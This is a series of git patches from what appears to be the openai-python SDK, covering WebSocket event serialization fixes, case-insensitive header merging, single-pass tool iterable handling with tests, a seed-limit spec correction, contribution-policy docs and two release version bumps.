+ else json.dumps(maybe_transform(event, ForkClientEventParam))
)
self.__send_queue.enqueue(data)
@@ -952,7 +952,7 @@ def send(self, event: ForkClientEvent | ForkClientEventParam) -> None:
data = (
event.to_json(use_api_names=True, exclude_defaults=True, exclude_unset=True)
if isinstance(event, BaseModel)
- else json.dumps(event)
+ else json.dumps(maybe_transform(event, ForkClientEventParam))
)
self.__send_queue.enqueue(data)
diff --git a/src/openai/resources/live/live.py b/src/openai/resources/live/live.py
index 2d0ca709df..36c08a6e30 100644
--- a/src/openai/resources/live/live.py
+++ b/src/openai/resources/live/live.py
@@ -684,7 +684,7 @@ def send(self, event: ClientEvent | ClientEventParam) -> None:
data = (
event.to_json(use_api_names=True, exclude_defaults=True, exclude_unset=True)
if isinstance(event, BaseModel)
- else json.dumps(event)
+ else json.dumps(maybe_transform(event, ClientEventParam))
)
self.__send_queue.enqueue(data)
@@ -1166,7 +1166,7 @@ def send(self, event: ClientEvent | ClientEventParam) -> None:
data = (
event.to_json(use_api_names=True, exclude_defaults=True, exclude_unset=True)
if isinstance(event, BaseModel)
- else json.dumps(event)
+ else json.dumps(maybe_transform(event, ClientEventParam))
)
self.__send_queue.enqueue(data)
diff --git a/src/openai/resources/live/sideband.py b/src/openai/resources/live/sideband.py
index e644fba8c1..e15a836139 100644
--- a/src/openai/resources/live/sideband.py
+++ b/src/openai/resources/live/sideband.py
@@ -472,7 +472,7 @@ def send(self, event: ConnectClientEvent | ConnectClientEventParam) -> None:
data = (
event.to_json(use_api_names=True, exclude_defaults=True, exclude_unset=True)
if isinstance(event, BaseModel)
- else json.dumps(event)
+ else json.dumps(maybe_transform(event, ConnectClientEventParam))
)
self.__send_queue.enqueue(data)
@@ -964,7 +964,7 @@ def send(self, event: ConnectClientEvent | ConnectClientEventParam) -> None:
data = (
event.to_json(use_api_names=True, exclude_defaults=True, exclude_unset=True)
if isinstance(event, BaseModel)
- else json.dumps(event)
+ else json.dumps(maybe_transform(event, ConnectClientEventParam))
)
self.__send_queue.enqueue(data)
diff --git a/src/openai/resources/realtime/realtime.py b/src/openai/resources/realtime/realtime.py
index 0cd4cfbdd0..fab966898e 100644
--- a/src/openai/resources/realtime/realtime.py
+++ b/src/openai/resources/realtime/realtime.py
@@ -627,7 +627,7 @@ def send(self, event: RealtimeClientEvent | RealtimeClientEventParam) -> None:
data = (
event.to_json(use_api_names=True, exclude_defaults=True, exclude_unset=True)
if isinstance(event, BaseModel)
- else json.dumps(event)
+ else json.dumps(maybe_transform(event, RealtimeClientEventParam))
)
self.__send_queue.enqueue(data)
@@ -1138,7 +1138,7 @@ def send(self, event: RealtimeClientEvent | RealtimeClientEventParam) -> None:
data = (
event.to_json(use_api_names=True, exclude_defaults=True, exclude_unset=True)
if isinstance(event, BaseModel)
- else json.dumps(event)
+ else json.dumps(maybe_transform(event, RealtimeClientEventParam))
)
self.__send_queue.enqueue(data)
diff --git a/src/openai/resources/responses/responses.py b/src/openai/resources/responses/responses.py
index 5759ec3127..5fb62c3740 100644
--- a/src/openai/resources/responses/responses.py
+++ b/src/openai/resources/responses/responses.py
@@ -4408,7 +4408,7 @@ def send(self, event: ResponsesClientEvent | ResponsesClientEventParam) -> None:
data = (
event.to_json(use_api_names=True, exclude_defaults=True, exclude_unset=True)
if isinstance(event, BaseModel)
- else json.dumps(event)
+ else json.dumps(maybe_transform(event, ResponsesClientEventParam))
)
self.__send_queue.enqueue(data)
@@ -4906,7 +4906,7 @@ def send(self, event: ResponsesClientEvent | ResponsesClientEventParam) -> None:
data = (
event.to_json(use_api_names=True, exclude_defaults=True, exclude_unset=True)
if isinstance(event, BaseModel)
- else json.dumps(event)
+ else json.dumps(maybe_transform(event, ResponsesClientEventParam))
)
self.__send_queue.enqueue(data)
From cbde8a5691f9aef5d268bd506cd46f9fabec0ced Mon Sep 17 00:00:00 2001
From: "openai-sdks[bot]" <284451331+openai-sdks[bot]@users.noreply.github.com>
Date: Wed, 23 Sep 2026 00:03:12 +0000
Subject: [PATCH 202/341] release: 3.19.0 (#3938)
Automated Release PR
---
##
[3.19.0](https://github.com/openai/openai-python/compare/v3.18.0...v3.19.0)
(2026-09-22)
### Features
* **api:** add GCP external storage support
([#3943](https://github.com/openai/openai-python/issues/3943))
([d12d60f](https://github.com/openai/openai-python/commit/d12d60fff9f5624f2dc50ade3d832028f4fecaa7))
* **api:** add GPT-Rosalind research model
([#3940](https://github.com/openai/openai-python/issues/3940))
([d041d73](https://github.com/openai/openai-python/commit/d041d736f75f03f6c87aa77f932823011691bac5))
### Bug Fixes
* **_utils/_transform:** propagate __api_exclude__ in
_async_transform_recursive
([#3324](https://github.com/openai/openai-python/issues/3324))
([161ae65](https://github.com/openai/openai-python/commit/161ae65ea676a000a156ba0dacfd904532b52473))
* **api:** handle omission markers in queued WebSocket events
([#3944](https://github.com/openai/openai-python/issues/3944))
([63e4616](https://github.com/openai/openai-python/commit/63e46169a7c6525ec90c7f2815a05d56e795cbcf))
* **client:** retry only replayable request content
([#3771](https://github.com/openai/openai-python/issues/3771))
([6e0c2be](https://github.com/openai/openai-python/commit/6e0c2beeb639e42ff74f14135151d8bcb1e5b245))
* **client:** tolerate older optional aiohttp installations
([#3941](https://github.com/openai/openai-python/issues/3941))
([0d91efb](https://github.com/openai/openai-python/commit/0d91efbe5084c2f572688e8e9a05c0a91c8c0319))
* **helpers:** use asyncio.get_running_loop() inside async methods
([#3289](https://github.com/openai/openai-python/issues/3289))
([bac3545](https://github.com/openai/openai-python/commit/bac3545eee5a0dfd348a6766bca3e904308792dd))
---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).
Co-authored-by: openai-sdks[bot] <284451331+openai-sdks[bot]@users.noreply.github.com>
---
.release-please-manifest.json | 2 +-
CHANGELOG.md | 17 +++++++++++++++++
pyproject.toml | 2 +-
src/openai/_version.py | 2 +-
uv.lock | 2 +-
5 files changed, 21 insertions(+), 4 deletions(-)
diff --git a/.release-please-manifest.json b/.release-please-manifest.json
index df3292ba24..08ebb64c87 100644
--- a/.release-please-manifest.json
+++ b/.release-please-manifest.json
@@ -1,3 +1,3 @@
{
- ".": "3.18.0"
+ ".": "3.19.0"
}
\ No newline at end of file
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 777b79f3ae..7d2ff2afdc 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -1,5 +1,22 @@
# Changelog
+## [3.19.0](https://github.com/openai/openai-python/compare/v3.18.0...v3.19.0) (2026-09-22)
+
+
+### Features
+
+* **api:** add GCP external storage support ([#3943](https://github.com/openai/openai-python/issues/3943)) ([d12d60f](https://github.com/openai/openai-python/commit/d12d60fff9f5624f2dc50ade3d832028f4fecaa7))
+* **api:** add GPT-Rosalind research model ([#3940](https://github.com/openai/openai-python/issues/3940)) ([d041d73](https://github.com/openai/openai-python/commit/d041d736f75f03f6c87aa77f932823011691bac5))
+
+
+### Bug Fixes
+
+* **_utils/_transform:** propagate __api_exclude__ in _async_transform_recursive ([#3324](https://github.com/openai/openai-python/issues/3324)) ([161ae65](https://github.com/openai/openai-python/commit/161ae65ea676a000a156ba0dacfd904532b52473))
+* **api:** handle omission markers in queued WebSocket events ([#3944](https://github.com/openai/openai-python/issues/3944)) ([63e4616](https://github.com/openai/openai-python/commit/63e46169a7c6525ec90c7f2815a05d56e795cbcf))
+* **client:** retry only replayable request content ([#3771](https://github.com/openai/openai-python/issues/3771)) ([6e0c2be](https://github.com/openai/openai-python/commit/6e0c2beeb639e42ff74f14135151d8bcb1e5b245))
+* **client:** tolerate older optional aiohttp installations ([#3941](https://github.com/openai/openai-python/issues/3941)) ([0d91efb](https://github.com/openai/openai-python/commit/0d91efbe5084c2f572688e8e9a05c0a91c8c0319))
+* **helpers:** use asyncio.get_running_loop() inside async methods ([#3289](https://github.com/openai/openai-python/issues/3289)) ([bac3545](https://github.com/openai/openai-python/commit/bac3545eee5a0dfd348a6766bca3e904308792dd))
+
## [3.18.0](https://github.com/openai/openai-python/compare/v3.17.0...v3.18.0) (2026-09-22)
diff --git a/pyproject.toml b/pyproject.toml
index 49b53b0b8b..9b06ea0c2b 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -1,6 +1,6 @@
[project]
name = "openai"
-version = "3.18.0"
+version = "3.19.0"
description = "The official Python library for the openai API"
dynamic = ["readme"]
license = "Apache-2.0"
diff --git a/src/openai/_version.py b/src/openai/_version.py
index bbbb06e3ca..6dbc2a2d6c 100644
--- a/src/openai/_version.py
+++ b/src/openai/_version.py
@@ -1,2 +1,2 @@
__title__ = "openai"
-__version__ = "3.18.0" # x-release-please-version
+__version__ = "3.19.0" # x-release-please-version
diff --git a/uv.lock b/uv.lock
index 6abb04281c..fc908a349a 100644
--- a/uv.lock
+++ b/uv.lock
@@ -1535,7 +1535,7 @@ wheels = [
[[package]]
name = "openai"
-version = "3.18.0" # x-release-please-version
+version = "3.19.0" # x-release-please-version
source = { editable = "." }
dependencies = [
{ name = "anyio" },
From be9d66628ad7377bd36fe5a76ae6d735843f0e76 Mon Sep 17 00:00:00 2001
From: Mark Stuart
Date: Wed, 23 Sep 2026 06:12:58 +0000
Subject: [PATCH 203/341] chore(api): clarify Chat Completions seed limits
(#3945)
## Summary
Correct the documented signed 64-bit range for the Chat Completions seed
parameter.
## Changes
- Keep the optional integer seed parameter with exact inclusive limits.
Co-authored-by: markstuart-oai <323302876+markstuart-oai@users.noreply.github.com>
---
.castiron.stats.yml | 10 +++++-----
api_reference/openapi.transformed.yml | 5 +++--
2 files changed, 8 insertions(+), 7 deletions(-)
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index e5d699ccb5..e9b9830a3b 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,8 +1,8 @@
schema_version: 1
-generation_id: ec3bb85c-c75f-4b0b-8713-a9377f2068d9
-openapi_spec_hash: 6ffdf0b6c2bafb456b14fda3f7231658
-openapi_transformed_spec_hash: d6d1e240c0615a9349169c2f2d04c388
+generation_id: d9e3b632-5822-43f8-a0de-0cd04d09db33
+openapi_spec_hash: 687580b2f55d2dada661f0387a4b3e0d
+openapi_transformed_spec_hash: 904296217a5077aa14766c6c58aa87d9
config_hash: 84cdcc959ee7140cc9a65e9b642c097b
-codegen_sha: 878642b3dcf465c78f575b8e49ebc181b58fc5ce
+codegen_sha: 41ac0d43560df6c0983b529a6112e2c437ead2d1
codegen_hash: 614193cc88f476d3dbfe7d149d8adf21489f235af4454fb1e93628fe43e1e351
-public_codegen_sha: 9a6784d449a729fc0e8d97a4947a8fa858a0041f
+public_codegen_sha: 2722089d4e9342c45f1ddbda6e7b4b72511d961f
diff --git a/api_reference/openapi.transformed.yml b/api_reference/openapi.transformed.yml
index 0fdad4550b..fdf4896149 100644
--- a/api_reference/openapi.transformed.yml
+++ b/api_reference/openapi.transformed.yml
@@ -35529,8 +35529,8 @@ components:
propertyName: type
seed:
type: integer
- minimum: -9.223372036854776e18
- maximum: 9.223372036854776e18
+ minimum: -9223372036854775808
+ maximum: 9223372036854775807
nullable: true
deprecated: true
description: |
@@ -35539,6 +35539,7 @@ components:
Determinism is not guaranteed, and you should refer to the `system_fingerprint` response parameter to monitor changes in the backend.
x-oaiMeta:
beta: true
+ format: int64
stream_options:
$ref: '#/components/schemas/ChatCompletionStreamOptions'
tools:
From ead1fa2473257ba5d7be08484aca4349649e6245 Mon Sep 17 00:00:00 2001
From: Justin Beckwith
Date: Wed, 23 Sep 2026 16:46:15 +0000
Subject: [PATCH 204/341] docs: clarify collaborator-only pull request policy
(#3948)
## Summary
Make the contribution guidance match the repository's collaborator-only
pull request policy. The README links to CONTRIBUTING.md, both
explicitly exclude PRs from non-collaborators, and community feedback
goes through issues. Existing development instructions remain available
to collaborators, and security reports continue through the private
disclosure process.
Remove the conflicting invitation to external PRs from the pull request
template.
Use absolute README links to the policy and security guide so
package-page readers can follow them.
## Test plan
- `git diff --check` and targeted policy/link checks pass.
- Reviewed the complete diff and contributor, collaborator, and private
security-reporting paths.
Documentation only; no SDK runtime, repository settings, or generated
source changes.
---
.github/pull_request_template.md | 11 +++++------
CONTRIBUTING.md | 19 +++++++++++++++++++
README.md | 5 ++++-
3 files changed, 28 insertions(+), 7 deletions(-)
diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md
index 4416b1e547..a0d583cc18 100644
--- a/.github/pull_request_template.md
+++ b/.github/pull_request_template.md
@@ -1,9 +1,8 @@
-
-
-
-
-
-- [ ] I understand that this repository is auto-generated and my pull request may not be merged
+
+
+
+
+
## Changes being requested
diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md
index 5e71fffe08..57ed4c4fd5 100644
--- a/CONTRIBUTING.md
+++ b/CONTRIBUTING.md
@@ -1,3 +1,22 @@
+# Contributing
+
+## Contribution policy
+
+We welcome bug reports, feature requests, minimal reproductions, and root-cause
+analysis through [GitHub issues](https://github.com/openai/openai-python/issues).
+
+**Pull requests are limited to repository collaborators. We do not accept pull
+requests from non-collaborators**, including documentation or example changes.
+If you are not a collaborator, please open an issue instead of preparing a pull
+request. Include the affected version, expected and actual behavior, and a small,
+sanitized reproduction when applicable.
+
+Report suspected security vulnerabilities privately as described in
+[SECURITY.md](SECURITY.md), rather than in issues or pull requests.
+
+The development and pull request instructions below are for maintainers and
+repository collaborators.
+
## Setting up the environment
The minimum supported runtime, contributor toolchain, CI matrix, and release
diff --git a/README.md b/README.md
index d278292354..c1001e7733 100644
--- a/README.md
+++ b/README.md
@@ -1249,4 +1249,7 @@ Python 3.10 or higher.
## Contributing
-See [the contributing documentation](./CONTRIBUTING.md).
+Please share bug reports and feature requests through [GitHub issues](https://github.com/openai/openai-python/issues).
+Pull requests are limited to repository collaborators; we do not accept pull requests from non-collaborators.
+See [CONTRIBUTING.md](https://github.com/openai/openai-python/blob/main/CONTRIBUTING.md) for the contribution policy and development guide.
+For security vulnerabilities, follow [SECURITY.md](https://github.com/openai/openai-python/blob/main/SECURITY.md).
From 5e39766dd7ba2802c97f5305721a621098cf0e38 Mon Sep 17 00:00:00 2001
From: Minh Vu
Date: Wed, 23 Sep 2026 17:16:28 +0000
Subject: [PATCH 205/341] fix(client): merge HTTP headers case-insensitively
(#3486)
HTTP header names are case-insensitive, but differently cased overrides
currently leave duplicate values, and `Omit()` can fail to remove an
earlier value. Merge HTTP headers case-insensitively so later values
replace earlier ones and explicit removal respects casing.
The change is limited to HTTP header merging, with one parametrized
regression test covering default overrides, per-request overrides, and
removal for sync and async clients.
Validation: 807 tests passed across client, authentication, Azure,
Bedrock, redirect, and HTTPX compatibility coverage; focused Pydantic v1
checks, Ruff, Pyright, mypy, and the custom-code budget passed.
Co-authored-by: Marcus Wood
---
src/openai/_base_client.py | 16 +++++++++++++++-
tests/test_client.py | 34 ++++++++++++++++++++++++++++++++++
2 files changed, 49 insertions(+), 1 deletion(-)
diff --git a/src/openai/_base_client.py b/src/openai/_base_client.py
index be99ab7683..c8830a6a9f 100644
--- a/src/openai/_base_client.py
+++ b/src/openai/_base_client.py
@@ -530,7 +530,7 @@ def _custom_auth(
def _build_headers(self, options: FinalRequestOptions, *, retries_taken: int = 0) -> httpx2.Headers:
custom_headers = options.headers or {}
- headers_dict = _merge_mappings({**self._auth_headers(options.security), **self.default_headers}, custom_headers)
+ headers_dict = _merge_headers(self._auth_headers(options.security), self.default_headers, custom_headers)
self._validate_headers(headers_dict, custom_headers)
# headers are case-insensitive while dictionaries are not.
@@ -2342,3 +2342,17 @@ def _merge_mappings(
"""
merged = {**obj1, **obj2}
return {key: value for key, value in merged.items() if not isinstance(value, Omit)}
+
+
+def _merge_headers(*mappings: Headers) -> dict[str, str]:
+ """Merge headers case-insensitively, with later mappings taking precedence."""
+ merged: dict[str, tuple[str, str]] = {}
+ for mapping in mappings:
+ for name, value in mapping.items():
+ normalized_name = name.lower()
+ if isinstance(value, Omit):
+ merged.pop(normalized_name, None)
+ else:
+ merged[normalized_name] = (name, value)
+
+ return {name: value for name, value in merged.values()}
diff --git a/tests/test_client.py b/tests/test_client.py
index 01626384b4..6e8b4d2e72 100644
--- a/tests/test_client.py
+++ b/tests/test_client.py
@@ -156,6 +156,40 @@ def _get_open_connections(client: OpenAI | AsyncOpenAI) -> int:
return len(cast(Any, transport)._pool._requests)
+@pytest.mark.parametrize("is_async", [False, True])
+@pytest.mark.parametrize(
+ "extra_headers,expected",
+ [
+ ({}, ["Bearer fake-default"]),
+ ({"AUTHORIZATION": "Bearer fake-request"}, ["Bearer fake-request"]),
+ ({"AUTHORIZATION": Omit()}, []),
+ ],
+ ids=["default", "override", "omit"],
+)
+async def test_case_insensitive_auth_headers(
+ is_async: bool, extra_headers: dict[str, str | Omit], expected: list[str]
+) -> None:
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ assert request.headers.get_list("authorization") == expected
+ return httpx2.Response(200, json={"object": "list", "data": []})
+
+ transport = httpx2.MockTransport(handler)
+ if is_async:
+ async with AsyncOpenAI(
+ api_key="fake-original",
+ default_headers={"authorization": "Bearer fake-default"},
+ http_client=httpx2.AsyncClient(transport=transport),
+ ) as async_client:
+ await async_client.models.list(extra_headers=extra_headers)
+ else:
+ with OpenAI(
+ api_key="fake-original",
+ default_headers={"authorization": "Bearer fake-default"},
+ http_client=httpx2.Client(transport=transport),
+ ) as client:
+ client.models.list(extra_headers=extra_headers)
+
+
class TestOpenAI:
@pytest.mark.parametrize(
"code_fields,expected_code",
From 33ffa1f9fa4f49553ab0287b9359283be818fe40 Mon Sep 17 00:00:00 2001
From: HughChaw <146055770+Hughhhhcoder@users.noreply.github.com>
Date: Wed, 23 Sep 2026 17:40:07 +0000
Subject: [PATCH 206/341] fix(chat): preserve single-pass tool iterables
(#3770)
Passing a generator to `chat.completions.parse()` or `.stream()` can
send an empty tools array or lose parsed function arguments. Materialize
the iterable once and reuse it for validation, serialization, and
response parsing across sync and async helpers.
The public `Iterable` type stays unchanged. `.parse()` retains
strict-tool validation; async `.stream()` now accepts non-strict tools
without auto-parsing them, matching existing sync behavior. Two
parametrized tests cover all four helper paths and non-strict streaming.
Validation: chat suite passed with Pydantic v2 (77 tests) and v1 (76
passed, 1 skipped); all four strict-tool regressions fail against main.
Ruff lint, changed-file formatting, Pyright, mypy, and the custom-code
budget passed. Security review found no new concerns.
---------
Co-authored-by: Marcus Wood
---
src/openai/lib/_parsing/__init__.py | 1 +
src/openai/lib/_parsing/_completions.py | 18 +++-
.../resources/chat/completions/completions.py | 21 ++--
tests/lib/chat/test_single_pass_tools.py | 95 +++++++++++++++++++
4 files changed, 122 insertions(+), 13 deletions(-)
create mode 100644 tests/lib/chat/test_single_pass_tools.py
diff --git a/src/openai/lib/_parsing/__init__.py b/src/openai/lib/_parsing/__init__.py
index 08591f43f4..206e91e05f 100644
--- a/src/openai/lib/_parsing/__init__.py
+++ b/src/openai/lib/_parsing/__init__.py
@@ -6,6 +6,7 @@
validate_input_tools as validate_input_tools,
parse_chat_completion as parse_chat_completion,
get_input_tool_by_name as get_input_tool_by_name,
+ materialize_input_tools as materialize_input_tools,
parse_function_tool_arguments as parse_function_tool_arguments,
type_to_response_format_param as type_to_response_format_param,
)
diff --git a/src/openai/lib/_parsing/_completions.py b/src/openai/lib/_parsing/_completions.py
index ebea435e93..21be8ace54 100644
--- a/src/openai/lib/_parsing/_completions.py
+++ b/src/openai/lib/_parsing/_completions.py
@@ -62,13 +62,23 @@ def select_strict_chat_completion_tools(
return [t for t in tools if is_strict_chat_completion_tool_param(t)]
-def validate_input_tools(
+def materialize_input_tools(
tools: Iterable[ChatCompletionToolUnionParam] | Omit = omit,
-) -> Iterable[ChatCompletionFunctionToolParam] | Omit:
+) -> list[ChatCompletionToolUnionParam] | Omit:
if not is_given(tools):
return omit
- for tool in tools:
+ return list(tools)
+
+
+def validate_input_tools(
+ tools: Iterable[ChatCompletionToolUnionParam] | Omit = omit,
+) -> list[ChatCompletionFunctionToolParam] | Omit:
+ input_tools = materialize_input_tools(tools)
+ if not is_given(input_tools):
+ return omit
+
+ for tool in input_tools:
if tool["type"] != "function":
raise ValueError(
f"Currently only `function` tool types support auto-parsing; Received `{tool['type']}`",
@@ -80,7 +90,7 @@ def validate_input_tools(
f"`{tool['function']['name']}` is not strict. Only `strict` function tools can be auto-parsed"
)
- return cast(Iterable[ChatCompletionFunctionToolParam], tools)
+ return cast(list[ChatCompletionFunctionToolParam], input_tools)
def parse_chat_completion(
diff --git a/src/openai/resources/chat/completions/completions.py b/src/openai/resources/chat/completions/completions.py
index 594a908920..0920d50f5d 100644
--- a/src/openai/resources/chat/completions/completions.py
+++ b/src/openai/resources/chat/completions/completions.py
@@ -37,6 +37,7 @@
ResponseFormatT,
validate_input_tools as _validate_input_tools,
parse_chat_completion as _parse_chat_completion,
+ materialize_input_tools as _materialize_input_tools,
type_to_response_format_param as _type_to_response_format,
)
from ....lib.streaming.chat import ChatCompletionStreamManager, AsyncChatCompletionStreamManager
@@ -225,7 +226,7 @@ def parser(raw_completion: ChatCompletion) -> ParsedChatCompletion[ResponseForma
"stream_options": stream_options,
"temperature": temperature,
"tool_choice": tool_choice,
- "tools": tools,
+ "tools": chat_completion_tools,
"top_logprobs": top_logprobs,
"top_p": top_p,
"user": user,
@@ -1633,6 +1634,8 @@ def stream(
When the context manager exits, the response will be closed, however the `stream` instance is still available outside
the context manager.
"""
+ chat_completion_tools = _materialize_input_tools(tools)
+
extra_headers = {
"X-Stainless-Helper-Method": "chat.completions.stream",
**(extra_headers or {}),
@@ -1671,7 +1674,7 @@ def stream(
stream_options=stream_options,
temperature=temperature,
tool_choice=tool_choice,
- tools=tools,
+ tools=chat_completion_tools,
top_logprobs=top_logprobs,
top_p=top_p,
user=user,
@@ -1685,7 +1688,7 @@ def stream(
return ChatCompletionStreamManager(
api_request,
response_format=response_format,
- input_tools=tools,
+ input_tools=chat_completion_tools,
)
@@ -1808,7 +1811,7 @@ class MathResponse(BaseModel):
print("answer: ", message.parsed.final_answer)
```
"""
- _validate_input_tools(tools)
+ chat_completion_tools = _validate_input_tools(tools)
extra_headers = {
"X-Stainless-Helper-Method": "chat.completions.parse",
@@ -1819,7 +1822,7 @@ def parser(raw_completion: ChatCompletion) -> ParsedChatCompletion[ResponseForma
return _parse_chat_completion(
response_format=response_format,
chat_completion=raw_completion,
- input_tools=tools,
+ input_tools=chat_completion_tools,
)
return await self._post(
@@ -1857,7 +1860,7 @@ def parser(raw_completion: ChatCompletion) -> ParsedChatCompletion[ResponseForma
"stream_options": stream_options,
"temperature": temperature,
"tool_choice": tool_choice,
- "tools": tools,
+ "tools": chat_completion_tools,
"top_logprobs": top_logprobs,
"top_p": top_p,
"user": user,
@@ -3265,7 +3268,7 @@ def stream(
When the context manager exits, the response will be closed, however the `stream` instance is still available outside
the context manager.
"""
- _validate_input_tools(tools)
+ chat_completion_tools = _materialize_input_tools(tools)
extra_headers = {
"X-Stainless-Helper-Method": "chat.completions.stream",
@@ -3304,7 +3307,7 @@ def stream(
stream_options=stream_options,
temperature=temperature,
tool_choice=tool_choice,
- tools=tools,
+ tools=chat_completion_tools,
top_logprobs=top_logprobs,
top_p=top_p,
user=user,
@@ -3318,7 +3321,7 @@ def stream(
return AsyncChatCompletionStreamManager(
api_request,
response_format=response_format,
- input_tools=tools,
+ input_tools=chat_completion_tools,
)
diff --git a/tests/lib/chat/test_single_pass_tools.py b/tests/lib/chat/test_single_pass_tools.py
new file mode 100644
index 0000000000..9bd5225679
--- /dev/null
+++ b/tests/lib/chat/test_single_pass_tools.py
@@ -0,0 +1,95 @@
+from __future__ import annotations
+
+import json
+
+import httpx2
+import pytest
+
+from openai import OpenAI, AsyncOpenAI
+from tests.respx2 import MockRouter
+from openai.types.chat import ChatCompletionToolUnionParam
+
+from ...conftest import base_url
+
+
+def mock_tool_call(
+ respx2_mock: MockRouter, *, streaming: bool = False, strict: bool = True
+) -> ChatCompletionToolUnionParam:
+ tool: ChatCompletionToolUnionParam = {
+ "type": "function",
+ "function": {
+ "name": "get_weather",
+ "parameters": {
+ "type": "object",
+ "properties": {"city": {"type": "string"}},
+ "required": ["city"],
+ "additionalProperties": False,
+ },
+ "strict": strict,
+ },
+ }
+ tool_call: dict[str, object] = {
+ "id": "call-test",
+ "type": "function",
+ "function": {"name": "get_weather", "arguments": '{"city":"San Francisco"}'},
+ }
+ message = {"role": "assistant", "content": None, "tool_calls": [tool_call]}
+ response: dict[str, object] = {
+ "id": "chatcmpl-test",
+ "object": "chat.completion.chunk" if streaming else "chat.completion",
+ "created": 0,
+ "model": "gpt-test",
+ "choices": [{"index": 0, "delta" if streaming else "message": message, "finish_reason": "tool_calls"}],
+ }
+ if streaming:
+ tool_call["index"] = 0
+
+ def handle_request(request: httpx2.Request) -> httpx2.Response:
+ assert json.loads(request.content)["tools"] == [tool]
+ if streaming:
+ return httpx2.Response(
+ 200,
+ text=f"data: {json.dumps(response)}\n\ndata: [DONE]\n\n",
+ headers={"content-type": "text/event-stream"},
+ )
+ return httpx2.Response(200, json=response)
+
+ respx2_mock.post("/chat/completions").mock(side_effect=handle_request)
+ return tool
+
+
+@pytest.mark.respx2(base_url=base_url)
+@pytest.mark.parametrize("use_async", [False, True])
+@pytest.mark.asyncio
+async def test_parse_preserves_single_pass_tools(
+ client: OpenAI, async_client: AsyncOpenAI, respx2_mock: MockRouter, use_async: bool
+) -> None:
+ tools = iter([mock_tool_call(respx2_mock)])
+ if use_async:
+ completion = await async_client.chat.completions.parse(model="gpt-test", messages=[], tools=tools)
+ else:
+ completion = client.chat.completions.parse(model="gpt-test", messages=[], tools=tools)
+
+ tool_calls = completion.choices[0].message.tool_calls
+ assert tool_calls is not None
+ assert tool_calls[0].function.parsed_arguments == {"city": "San Francisco"}
+
+
+@pytest.mark.respx2(base_url=base_url)
+@pytest.mark.parametrize("use_async", [False, True])
+@pytest.mark.parametrize("strict", [False, True])
+@pytest.mark.asyncio
+async def test_stream_preserves_single_pass_tools(
+ client: OpenAI, async_client: AsyncOpenAI, respx2_mock: MockRouter, use_async: bool, strict: bool
+) -> None:
+ tools = iter([mock_tool_call(respx2_mock, streaming=True, strict=strict)])
+ if use_async:
+ async with async_client.chat.completions.stream(model="gpt-test", messages=[], tools=tools) as async_stream:
+ completion = await async_stream.get_final_completion()
+ else:
+ with client.chat.completions.stream(model="gpt-test", messages=[], tools=tools) as stream:
+ completion = stream.get_final_completion()
+
+ tool_calls = completion.choices[0].message.tool_calls
+ assert tool_calls is not None
+ assert tool_calls[0].function.parsed_arguments == ({"city": "San Francisco"} if strict else None)
From 4d1274681db7f34f671ff9e71adc1461d22a927b Mon Sep 17 00:00:00 2001
From: "openai-sdks[bot]" <284451331+openai-sdks[bot]@users.noreply.github.com>
Date: Wed, 23 Sep 2026 19:10:33 +0000
Subject: [PATCH 207/341] release: 3.19.1 (#3946)
Automated Release PR
---
##
[3.19.1](https://github.com/openai/openai-python/compare/v3.19.0...v3.19.1)
(2026-09-23)
### Bug Fixes
* **chat:** preserve single-pass tool iterables
([#3770](https://github.com/openai/openai-python/issues/3770))
([33ffa1f](https://github.com/openai/openai-python/commit/33ffa1f9fa4f49553ab0287b9359283be818fe40))
* **client:** merge HTTP headers case-insensitively
([#3486](https://github.com/openai/openai-python/issues/3486))
([5e39766](https://github.com/openai/openai-python/commit/5e39766dd7ba2802c97f5305721a621098cf0e38))
### Chores
* **api:** clarify Chat Completions seed limits
([#3945](https://github.com/openai/openai-python/issues/3945))
([be9d666](https://github.com/openai/openai-python/commit/be9d66628ad7377bd36fe5a76ae6d735843f0e76))
### Documentation
* clarify collaborator-only pull request policy
([#3948](https://github.com/openai/openai-python/issues/3948))
([ead1fa2](https://github.com/openai/openai-python/commit/ead1fa2473257ba5d7be08484aca4349649e6245))
---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).
Co-authored-by: openai-sdks[bot] <284451331+openai-sdks[bot]@users.noreply.github.com>
---
.release-please-manifest.json | 2 +-
CHANGELOG.md | 18 ++++++++++++++++++
pyproject.toml | 2 +-
src/openai/_version.py | 2 +-
uv.lock | 2 +-
5 files changed, 22 insertions(+), 4 deletions(-)
diff --git a/.release-please-manifest.json b/.release-please-manifest.json
index 08ebb64c87..3362d3a312 100644
--- a/.release-please-manifest.json
+++ b/.release-please-manifest.json
@@ -1,3 +1,3 @@
{
- ".": "3.19.0"
+ ".": "3.19.1"
}
\ No newline at end of file
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 7d2ff2afdc..c54587372e 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -1,5 +1,23 @@
# Changelog
+## [3.19.1](https://github.com/openai/openai-python/compare/v3.19.0...v3.19.1) (2026-09-23)
+
+
+### Bug Fixes
+
+* **chat:** preserve single-pass tool iterables ([#3770](https://github.com/openai/openai-python/issues/3770)) ([33ffa1f](https://github.com/openai/openai-python/commit/33ffa1f9fa4f49553ab0287b9359283be818fe40))
+* **client:** merge HTTP headers case-insensitively ([#3486](https://github.com/openai/openai-python/issues/3486)) ([5e39766](https://github.com/openai/openai-python/commit/5e39766dd7ba2802c97f5305721a621098cf0e38))
+
+
+### Chores
+
+* **api:** clarify Chat Completions seed limits ([#3945](https://github.com/openai/openai-python/issues/3945)) ([be9d666](https://github.com/openai/openai-python/commit/be9d66628ad7377bd36fe5a76ae6d735843f0e76))
+
+
+### Documentation
+
+* clarify collaborator-only pull request policy ([#3948](https://github.com/openai/openai-python/issues/3948)) ([ead1fa2](https://github.com/openai/openai-python/commit/ead1fa2473257ba5d7be08484aca4349649e6245))
+
## [3.19.0](https://github.com/openai/openai-python/compare/v3.18.0...v3.19.0) (2026-09-22)
